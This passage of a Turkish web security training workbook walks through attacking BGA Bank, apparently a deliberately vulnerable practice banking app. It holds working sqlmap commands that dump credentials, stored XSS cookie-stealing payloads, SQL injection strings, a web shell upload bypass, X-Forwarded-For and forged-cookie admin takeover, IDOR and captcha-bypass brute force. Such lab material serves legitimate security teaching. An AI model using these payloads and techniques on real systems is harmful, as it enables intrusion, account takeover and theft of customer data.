26 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL#&s2= - - - [17:00:01] [INFO] the back- end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back- end DBMS: MySQL 5.0 Görüldüğü gibi error- based ve UNION query tipinde sql injection zafiyetleri tespit edildi. İstismar için önce - - dbs ile var olan veritabanları listelenir. (Tablo 10) Komut sqlmap.py - u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" - p s1 - - dbms MYSQL - - level 4 - - dbs Çıktı available databases [6]: [*] bga_bank_4_0 [*] honeypot [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin Tablo 10. sqlmap Veritabanı Listeleme Verileri Hedef olarak - D ile bga_bank_4_0 veritabanı seçilmiştir ve - - tables ile tablolar listelenmiştir. (Tablo 11) Komut Çıktı sqlmap.py - u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" - p s1 - - dbms MYSQL - - level 4 - D bga_bank_4_0 - - tables Database: bga_bank_4_0 [20 tables] +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + bnk_ayarlar bnk_bankalar bnk_basvurular bnk_failed_logins bnk_hesap_islemleri bnk_hesap_turleri bnk_hesaplar bnk_iller bnk_kartlar bnk_karttipleri

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 27 bnk_kurtipleri bnk_musteri_temsilci_mesajlar bnk_musteriler bnk_musteriler_user_agent bnk_plakalar bnk_sahte_hesaplar bnk_sayfalar bnk_subeler bnk_temsilciler bnk_ziyaretci_defteri +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Tablo 11. sqlmap Tablo Listeleme Verileri Listelenen tablolardan BGA Bank taki müşteri temsilcileri hedef alınmıştır. - T ile bnk_temsilciler tablosu seçilir ve - - columns parametresi ile kolonlar listelenir. (Tablo 12) Komut Çıktı sqlmap.py - u 'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme' - p s - - dbms MYSQL - - level 4 - D BGA_Bank_1_0 - T bnk_temsilciler - - columns Database: bga_bank_4_0 Table: bnk_temsilciler [9 columns] +- - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - + Column Type +- - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - + t_adi varchar(25) t_durum int(11) t_email varchar(200) t_ensongiristarihi timestamp t_id int(11) t_kullanicino varchar(9) t_resim_yol text t_sifre text t_soyadi varchar(30) +- - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - + Tablo 12. sqlmap kolon listeleme verileri Temsilci numarası ve şifresi sırasıyla t_kullanicino ve t_sifre kolonlarında tutulduğundan bu iki kolondaki veriler Tablo 13 de gösterilen komut ile çekilir.

28 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Komut Çıktı sqlmap.py - u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" - p s1 - - dbms MYSQL - - level 4 - D bga_bank_4_0 - T bnk_temsilciler - C t_kullanicino,t_sifre - - dump Database: bga_bank_4_0 Table: bnk_temsilciler [2 entries] +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + t_sifre t_kullanicino +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 310dcbbf4cce62f762a2aaa148d556bd (333) 11111111 310dcbbf4cce62f762a2aaa148d556bd (333) 22222222 +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Tablo 13. sqlmap veritabanından veri çekme Sqlmap sözlük saldırısı ile şifreyi çözmeyi başarabilmiştir fakat sqlmap yetersiz kaldığında şifreler http://hashkiller.co.uk/md5- decrypter.aspx adresinden MD5 veritabanında aratılabilir. Kullanıcı adı ve parola ile sisteme giriş denenir. (Şekil 23) Sonuç. başarılı! (Şekil 24) Şekil 23. Sisteme giriş denemesi

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 29 Şekil 24. Sonuç Diğer veritabanları üzerinden denemeler yapılabilir. Örneğin phpmyadmin veritabanı, pma_userconfig tablosu, username kolonu üzerinden gidilirse phpmyadmin kullanıcılarına ulaşılabilir (Tablo 14). Phpmyadmin panelide bilindiğinden kullanıcı adlarına brute force yapılabilir. (phpmyadmin kullanıcılarının parola bilgileri veritabanında değil işletim sisteminde saklandığı için şifreler veritabanından ulaşılamaz.)

30 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı URL http://isube.bgabank.com/elmah.axd Tablo 14. Log dizini URL bilgisi Belirtilen dizinde, giriş yapan kullanıcıların oturum bilgisini saklayan cookieler tutulmaktadır. Bu bilgiler kullanılarak oturum hırsızlığı (session hijacking) yapılabilir. (Şekil 25) Şekil 25. Elmah.axd dizini İstismar için Chrome ve Firefox tarayıcısı ile Firefox eklentisi olan Cookie Manager+ v1.5.2 kullanılmıştır. Farklı eklentiler de kullanılabilir. Zafiyetin istismarı aşağıda adım adım anlatılmıştır.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 31 1) Normal bir müşteri(10000142 Müşteri No.lu Mustafa Balaban) olarak Chrome üzerinden giriş yapılır. Şekil 26. Chrome Normal Giriş BGA Bank uygulaması bu kullanıcının cookie bilgisini http://isube.bgabank.com/elmah.axd/ dizini altında kullanıcı numarası klasöründe saklamaktadır. (http://isube.bgabank.com/elmah.axd/10000142/) Şekil 27. Elmah.axd Log

32 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2) Loglardan elde edilen cookie bilgileri Firefox Cookie Manager ile Firefox üzerinde değiştirilir, olmayanlar eklenir. Şekil 28. Cookie Değiştirme Şekil 28. de PHPSESSID değeri değiştirilmiştir. Şekil 29. da ise guest cookie bilgisi FALSE olarak eklenmiştir.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 33 Şekil 29. Guest Cookie Bilgilerini Ekleme

34 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Firefox da iken sayfa yenilendiğinde Mustafa Balaban olarak giriş yapıldığı görülecektir. Şekil 30. Cookie Değiştirme Sonucu NOT: Bu cookielerin sunucudan gelirken görüntülemek için Burp ile sunucudan dönen cevaplar içinde araya girmek gerekir. Burp varsayılan olarak giden istekler için araya girer. Proxy Options sekmesi altında 1 ile belirtilen kısım giden istekler için araya girerken, 2 ile belirtilen kısım sunucudan gelen istekler içinde araya girer.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 35 Şekil 31. Burp Suite Options Intercept responses based on the following rules için tik koyulduktan sonra giriş sonrası sunucudan gelen cevap ve cookie bilgileri görüntülenebilir.

36 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj POST <img onerror="alert(document.cookie)" src="1.jpg"> Mesaj (k2) Müşteri girişi yapıldıktan sonra Mesajlar menüsünden müşteri temsilcisine mesaj gönderilebiliyor. Mesaj bölümünde XSS payload girilip gönderildiğinde, müşteri temsilcisi mesajı görüntülediği anda XSS payload çalıştırılabilir. Adımlar aşağıdaki gibidir. 1) Normal müşteri olarak giriş yapılır, Mesajlar menüsünden, Yeni Mesaj gönder seçilir. (Şekil 32) Şekil 32. Yeni Mesaj Gönderme Formu

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 37 2) Tablo 15 de belirtilen payload Mesaj kısmına girilir ve Devam Et butonuna tıklanır. Ardından temsilci olarak sisteme giriş yapılır ve istek görüntülenir. (Şekil 33) Şekil 33. Müşteri ve temsilci mesajlar paneli Üstte müşteriye ait olan panelden gönderilen mesaj, temsilcinin mesajlar paneline düşmüştür. 3) Temsilci mesajı görüntüler ve XSS payloadı çalışır. Şekil 34. XSS Payload Çalışır Cookie bilgisi ekrana bir pop- up çıkartmak yerine uzak bir makinede bir dosyaya da yazılabilir ve oturum hırsızlığı yapılabilirdi.

38 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/havale- eft.aspx GET a"+or+1=1;- - term Tablo 16. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyet Bilgileri Müşteri girişi yapıldıktan sonra Havale- EFT işlemi sırasında, "Varolan Hesaplar" kısmından arama yapılıp diğer kullanıcılar görüntülenebilir. Bu bölümde SQL injection zafiyeti vardır. Havale- EFT sayfası Varolan Hesaplar kısmına a gibi bir harf yazıldığında içinde a geçen müşteriler listelenecektir. Şekil 35. Hesap Arama Burp ile araya girildiğinde şekil 36 da ki gibi bir isteğin gittiği görülür. Şekil 36. Burp Suite SQL Injection

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 39 Çeşitli denemelerden sonra tablo 16 belirtilen payload yazıldığında bütün müşterilerin listelendiği görülür. (Şekil 37) Gönderilen GET datası Şekil 37. Burp Suite Tüm Müşterileri Listeleme GET /ajax.php?sayfa=hesap- lists.php&term=a HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: application/json, text/javascript, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset=utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/havale- eft.aspx Cookie: PHPSESSID=ersvs83cl712mkni2jm1ru6t33; is_admin=false; guest=false DNT: 1 Connection: keep- alive

40 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı GET datası alınır ve bir text dosyasına kaydedilir, kaydedilen metin belgesi - r parametresiyle sqlmap aracına verilir. Komut sqlmap.py - r../desktop/deneme.txt - - dbms mysql - p term - - level 3 - - risk 3 Çıktı Place: GET Parameter: term Type: UNION query Title: MySQL UNION query (NULL) - 14 columns Payload: sayfa=hesap- lists.php&term=a" UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CON CAT(0x7171687971,0x6d6 56a4e4f7653726749,0x716f666e71)# Type: AND/OR time- based blind Title: MySQL > 5.0.11 OR time- based blind Payload: sayfa=hesap- lists.php&term=- 7892" OR 5880=SLEEP(5) AND "orfa" LIKE "orfa

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 41 15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı Müşteri girişi yapılırken kullanıcı adı ve şifre doğru ise User- Agent bilgileri veritabanına kayıt oluyor. User- Agent başlık bilgisinde zaman tabanlı SQL injection zafiyeti vardır. URL HTTP Talep Türü http://isube.bgabank.com/giris.aspx POST Payload " AND SLEEP(5) AND "1"="1 Parametre User- Agent Tablo 17. User- Agent Başlık Bilgisi SQL Injection Zafiyet Bilgileri SLEEP fonksiyonu MySQL de, MSSQL veritabanındaki waitfor delay fonksiyonun karşılığıdır. Tablo 17. de ki payload, user- agent başlığına eklendiğinde, sayfanın 5 saniye geç yüklendiği görülecektir. (Şekil 38) Şekil 38. Time Based SQL Injection

42 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı Müşteri girişi yapıldıktan sonra Müşteri Bilgilerim menüsünde kısmında kullanıcıların kendileri için profil resmi yükleyebileceği bir form vardır. Bu formda sadece jpg ve png uzantılı resim yüklenebileceği belirtilmekte ancak uzantı kontrolü çok basit şekilde yapılmaktadır. Buraya yüklenecek bir shell ile işletim sistemine komut gönderilebilir. Şekil 39. Müşteri Bilgilerim Sayfası Sisteme normal php uzantılı dosya yüklenmek istendiğinde yükleme başarısız olacaktır. Uygulamanın geliştirme sürecinde yapılan hatalardan biri dosya içerisinde noktadan sonra png,jpg kontrolünün yapılmasıdır. Dolayısıyla sisteme shell.jpg.php şeklinde dosya gönderildiğinde kabul edilecektir çünkü noktadan sonra jpg kullanılmıştır ama dosya uzantısı php dir.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 43 Şekil 40. Shell Yükleme Shelle ulaşıp çalıştırmak için shell lokasyonu sayfa kaynağından öğrenilebilir. (Şekil 41) Şekil 41. Sayfa Kaynağı Shell Lokasyonu Tespiti

44 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Başka bir yöntem olarak DirBuster programı ile shelle ulaşılabilir. (Şekil 42) Şekil 42. DirBuster Yüklenen shell şu şekilde olduğu görülecektir: http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php Şekil 43. Shell

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 45 17. Havale/EFT Stored XSS Zafiyeti ve İstismarı Müşteri olarak BGA BANK a giriş yapılır. İşlemler Havale/EFT bölümünde k8 parametresinde (Not kısmı) stored XSS zafiyeti vardır. Bu zafiyet istismar edildiğinde XSS payloadı, hem Havale/EFT yapılan kişinin tarayıcısında hem de saldırganın tarayıcısında, hesap bilgileri görüntülendiğinde çalışacaktır. URL HTTP Talep Türü Payload http://isube.bgabank.com/havale- eft.aspx POST <script>alert(document.cookie)</script> Parametre k8 Tablo 18. Havale/EFT Stored XSS Zafiyet Bilgileri XSS tipi stored(depolanan) olarak belirtilmiştir. Çünkü girilen payload veritabanına kaydedilmiştir. Uygulama içerisinde Not un gösterildiği her yerde bu payload çalışacaktır. İstismar adım adım aşağıda anlatılmıştır.

46 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 1) Normal müşteri olarak giriş yapılır. Havale işlemi sayfasında bulunan Varolan Hesaplar yardımıyla para havale edilecek müşteri seçilir ve Not alanına payload girilip Devam et butonuna tıklanır. (Şekil 44) Şekil 44. Havale İşlemi

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 47 2) Havale edilen kişinin hesabına girilir. Menuden Hesap Bilgilerim seçilir ve ardından Devam Et butonuna tıklanır. Açılan sayfa hesap geçmişini görüntülediğinden, saldırgan tarafından gönderilen not bu sayfaya düşer ve XSS payload çalışır. (Şekil 45) Şekil 45. Havale/EFT XSS istismarı

48 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 18. Erişim Kısıtlamasını Atlatma Her kullanıcı Ayarlar bölümünden BGABANK a erişebileceği IP'yi belirtebilir ve artık sadece o IP üzerinden erişim sağlanır. Bu kısıtlama iki şekilde atlatılabilmektedir. 1) Uygulamaya mobil olarak giriş yapılırsa IP kısıtlaması atlatılmış olur. IP erişimini belirleme: Şekil 46. Ayarları Özelleştirme

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 49 User- Agent değiştirmek için Firefox ta User Agent Switcher eklentisi kullanılabilir. Ya da Şekil 47 de ki gibi Burp Suite ile User- Agent değeri değiştirilerek giriş yapılabilir. Örnek POST datası Şeki 47. Burp Suite İle User- Agent Bilgisi Değiştirme POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User- Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4 Connection: keep- alive Content- Type: application/x- www- form- urlencoded Content- Length: 38 b_musterino=10000142&b_password=sifre

50 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2) X- Forwarded- For başlık bilgisi ekleyerek de bu engel atlatılabilir. Farklı bir IP ile giriş yapılmaya çalışıldığında kullanıcının izin verdiği IP bilgisi ekrana yazdırılmaktadır. (Şekil 48) Şekil 48. IP Yasağı Ekrana yazdırılan IP bilgisini kullanmak için Burp proxy aracı ile araya girilir. Şekil 49 da ki gibi X- Forwarded- For: 1.1.1.1 (yada izin verilen IP ne ise) başlık bilgisi girilir. Sisteme başarıyla giriş yapılır. Şekil 49. X- Forwarded- For

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 51 19. Havale/EFT İşlemi Mantık Hatası ve İstismarı Uygulamaya web üzerinden girildiğinde Havale/EFT işlemleri için ücret kesilirken, mobil cihazlardan girildiğinde ücret kesilmemektedir. Bu zafiyet ile User- Agent bilgisi mobil cihaz olacak şekilde değiştirilerek havale/eft işlemi ücretsiz yapılabilir. Şekil 50. User- Agent Switcher Aşağıda web ve mobil olarak iki arayüz gösterilmiştir. Web arayüzde yapılan işlemlerden ücret kesileceği uyarısı yer almaktadır fakat mobilde bu uyarıya yer verilmemiştir. Web

52 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Mobil

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 53 20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı Müşteri, profil bilgilerini Müşteri Bilgilerim menüsü altında bulabilmektedir. Bu sayfadaki bilgiler Tablo 19 da belirtilen musteriid parametresi ile veritabanından çağrılmaktadır. Parametre değeri değiştirilip başka bir değer girildiğinde sisteme kayıtlı diğer müşteri bilgilerine erişim sağlanabilmektedir. URL HTTP Talep Türü Parametre http://isube.bgabank.com/profil.aspx?musteriid=11 GET musteriid Tablo 19. Müşteri Bilgileri Insecure Direct Object Zafiyet Bilgileri

54 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 51. de sisteme musteriid değeri 11 olan Mustafa Balaban olarak giriş yapılmıştır. Şekil 51. Müşteri Bilgileri

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 55 Tablo 19. da verilen URL bilgisinin sonunda bulunan 11 olan mustediid parametresinin değeri 12 olarak değiştirildiğinde şekil 52 de görüldüğü gibi başka bir kullanıcının bilgilerine ulaşılır. Şekil 52. Başka Müşteri Bilgileri

56 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı Ziyaretçi defteri sayfasında yer alan Mesajınız kısmında Stored XSS zafiyeti vardır. İstismar edildiğinde, stored tipinde bir XSS olduğu için, ilgili sayfa her ziyaret edildiğinde payload çalışacaktır. URL HTTP Talep Türü Payload http://isube.bgabank.com/ziyaretcidef.aspx POST <script>alert(document.cookie)</script> Parametre k4 Tablo 20. Ziyaretçi Defteri Stored XSS Zafiyet Bilgileri Tablo 20. de yer alan payload şekil 53. deki gibi Mesajınız kısmına yazılır ve sisteme gönderilir. Şekil 53. Ziyaretçi Defteri

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 57 Sonuç, başarılı. (Şekil 54) Şekil 54. Sonuç

58 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 22. Çalışmayan Captcha Uygulaması URL http://isube.bgabank.com/administrator.aspx Tablo 21. Çalışmayan Captcha Adresi Tablo 21. de belirtilen adreste bulunan captcha çalışmamaktadır. Administrator giriş sayfası için sadece captchanın boş olup olmadığının kontrolü yapılmaktadır. Şekil 55. Başarısız Deneme Şekil 56. Başarılı Deneme

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 59 23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme URL http://isube.bgabank.com/iletisim.aspx Tablo 22. Captcha Adresi BGA Bank iletişim sayfasında bulunan captchanın doğru bir şekilde girildiğinin kontrolü yapılmaktadır (Şekil 57) ancak araya girilerek tek bir captcha ile çok fazla GET isteği gönderilebilir. Şekil 57. İletişim Sayfası Boş Captcha Sonucu

60 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 58. İletişim Sayfası Captcha Kontrolü İstismar için gönderilen GET isteği örneği aşağıdaki gibidir. Burada aynı captcha kullanılarak sadece mail adresleri değiştirilip gönderilmiştir. Örnek GET isteği aşağıdaki gibidir. GET /ajax.php?sayfa=iletisim.php&k1=ceylan&k2=bozogullarindan&k3=(554)+478+87+88&k4=ba %C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset:utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/iletisim.aspx Cookie: PHPSESSID=uq0vkig0f89mg24dse8s8akdu2 DNT: 1 Connection: keep- alive

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 61 Ekran görüntüsünde ve örnek GET isteğinde görülebileceği gibi mail adreslerini fuzz etmek için Burp üzerinde k6 parametresine sembolleri eklenmiştir. (Şekil 59) Şekil 59. Burp Suite Intruder Pozisyon Belirleme Örnek olarak oluşturulan sahte email adresleri başarıyla yollanmıştır. (Şekil 60) Şekil 60. Sonuç

62 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak Senaryo: Öncelikle hedef sistemde yönetim paneli bulunur. Ardından yanlış bilgilerle giriş yapılmaya çalışılır. Sunucudan gelen cevap takip edildiğinde Set- cookie başlık bilgisinde is_admin=false gibi bir değerin döndüğü görülür. Bu değer true olarak girilse dahi yönetici kullanıcı bilgilerine sahip olmadan giriş yapılamayacaktır. Bu nedenle uygulamaya normal müşteri olarak giriş yapılmaya çalışılır (Beni hatırla seçeneğinin aktif olması gerekir.). Giden isteğe araya girilerek Cookie başlık bilgisine is_admin=true değeri eklenir. Ancak bu da tek başına yeterli olmayacaktır. Normal bir müşteriye sunucudan cookie bilgisinde user_id, u_p, u_a gibi geriye değerler döner. Bu değerler user_id haricinde encode olarak geldiği için anahtar olmadan çözmek zordur. user_id değeri ise kullanıcının sistemde kayıtlı olduğu id değeridir. Yönetici olarak giriş yapabilmek için yöneticinin user_id değerini de tahmin etmek gerekir. Web uygulamalarında genelde yönetici değerleri 0,1 gibi değerler taşır. BGA Bank da user_id=1 ve user_id=2 değerleri müşteri temsilcilerine aittir. Cookie başlık bilgisinde bulunan user_id bu değerlerden birisiyle değiştirilip istek gönderildiğinde yönetici paneli ele geçirilmiş olur. 1) Yönetici paneline giriş denenir. Gönderilen İstek GET /ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=aa HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Content- Type: text/plain; charset:utf- 8 X- Requested- With: XMLHttpRequest Referer: http://isube.bgabank.com/administrator.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6 DNT: 1 Connection: keep- alive Sunucudan Dönen Cevap ve Set- Cookie Değeri HTTP/1.1 200 OK Date: Sat, 13 Sep 2014 19:17:58 GMT Server: Apache/2.4.7 (Ubuntu) X- Powered- By: PHP/5.5.9-1ubuntu4.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache- Control: no- store, no- cache, must- revalidate, post- check=0, pre- check=0 Pragma: no- cache L- IP: 172.16.16.100 Set- Cookie: is_admin=false; expires=sat, 13- Sep- 2014 20:17:58 GMT; Max- Age=3600 Content- Length: 22

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 63 Keep- Alive: timeout=5, max=100 Connection: Keep- Alive Content- Type: text/html Bilgileriniz Yanlış! Şekil 61. Sunucudan Dönen Cevap 2) Müşteri girişi POST isteği parametreleri aşağıdaki gibi değiştirilerek istek olarak sunucuya gönderilir. Normal müşteri girişi, POST isteği aşağıdaki gibidir. Bu isteğe araya girip user_id değerinin değiştirilmesi ve is_admin=true değerinin eklenmesi gerekir. Gönderilen İstek POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=false Connection: keep- alive Content- Type: application/x- www- form- urlencoded Content- Length: 38 b_musterino=10000142&b_password=100011

64 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı user_id ve is_admin parametre değerleri değiştirilerek gönderilen POST isteği POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: user_id=1; PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=true Connection: keep- alive Content- Type: application/x- www- form- urlencoded Content- Length: 38 b_musterino=10000142&b_password=100011 Şekil 62. Yönetim Paneli Bu panelde başka bir menüye gidilmek istendiğinde yine araya girip user_id ve is_admin parametrelerinin düzenlenmesi gerekir. Örnek olarak mesajlar kısmına girmek için giden istek aşağıdaki gibi olacaktır. Gönderilen İstek GET /mesajlar.aspx HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=false DNT: 1 Connection: keep- alive

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 65 Düzenlemeler Yapılan İstek GET /mesajlar.aspx HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: user_id=1; PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=true DNT: 1 Connection: keep- alive Mesajlar kısmı görüntülenir. (Şekil 63) Şekil 63. Mesajlar Sayfası

66 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 25. Müşteri Parolasının Tahmin Edilebilir Olması BGA Bank uygulamasında yeni müşteri olmak için Başvuru menüsü aracılığıyla başvuru yapılabilir. Kayıt olunan e- posta adresine kullanıcının detaylı hesap ve kart bilgisi yollanmaktadır. Örnek postada görülebileceği gibi parola bilgisi uygulama tarafından belirlenmektedir. (Şekil 64) Şekil 64. Müşteri Bilgilerini İçeren Posta Bu bilgilerle giriş yapılırken giden istekte uygulamanın atadığı user_id değeri (user_id=8) görülebilir. Parola bilgisi ise 100008 dir. Bu noktada parola bilgisinin user_id değerine göre belirlendiği düşünülebilir. GET / HTTP/1.1 Host: isube.bgabank.com User- Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept- Language: en- US,en;q=0.5 Accept- Encoding: gzip, deflate DNT: 1 Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=utaav0saru5r2t2kusvr21u4k5; u_a=7ohhhvllfv8%3d; u_p=%2f2ytv12ui1o%3d; user_id=8; u =true Connection: keep- alive

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 67 Bu tahmini doğrulamak için Burp ile araya girilip müşteri numarası ve parola bilgisine fuzzing uygulanır. b_musterino ve b_password parametrelerine fuzzing yapılır. Sağ tıklanıp Intruder a gönderilir. Şekil 65. Payload Positions Intruder sekmesine geçilir ve payload 1 kısmı (b_musterino) için ayarlar şekil 66. da ki gibidir. Şekil 66. Intruder Ayarlar

68 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Payload 2 (b_password) için ayarlar şekil 67 de ki gibidir. Şekil 67. Payload 2 Ayarlar

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 69 Bu ayarlar ile saldırı başlatılır ve şekil 68 deki gibi başka bir kullanıcıya ait kullanıcı bilgisi elde edilebilir. Şekil 68. Başka Bir Kullanıcı

